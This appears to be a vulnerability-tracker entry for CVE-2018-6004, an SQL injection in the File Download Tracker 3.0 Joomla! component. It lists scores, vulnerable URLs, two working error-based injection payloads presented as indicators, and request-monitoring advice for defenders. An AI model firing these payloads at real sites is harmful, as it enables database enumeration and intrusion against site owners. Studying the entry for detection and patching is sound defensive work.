CVE-2018-6004

published 2018-02-17

CVE-2018-6004: SQL Injection exists in the File Download Tracker 3.0 component for Joomla! via the dynfield[phone] or sess parameter.

Priority P2 63 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

SQL Injection exists in the File Download Tracker 3.0 component for Joomla! via the dynfield[phone] or sess parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
techsolsystem	file_download_tracker	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://localhost/[PATH]/index.php?dynfield[phone]=[SQL]&option=com_dtracker&task=save↗

url http://localhost/[PATH]/index.php?option=com_dtracker&layout=download&sess=[SQL]↗

command dynfield[phone]=%251%2527%2520AND%2520(SELECT%204323%20FROM(SELECT%20COUNT(*),CONCAT(version(),(SELECT%20(ELT(4323=4323,1))),database(),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%2527%2525%2527%3D%2527↗

command sess=1' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -↗

• → Monitor HTTP requests to Joomla index.php containing 'option=com_dtracker&task=save' with a 'dynfield[phone]' parameter containing SQL metacharacters (quotes, AND, SELECT keywords). ↗
• → Monitor HTTP requests to Joomla index.php containing 'option=com_dtracker&layout=download' with a 'sess' parameter containing SQL metacharacters (quotes, AND, SELECT keywords). ↗
• → The SQL injection payloads target INFORMATION_SCHEMA.PLUGINS and information_schema.tables to enumerate database version and schema — alert on these strings appearing in query parameters. ↗

• · Affected version is specifically File Download Tracker 3.0 for Joomla!; detections scoped to 'com_dtracker' component parameter are version-specific and may not apply to patched or differently-named forks. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

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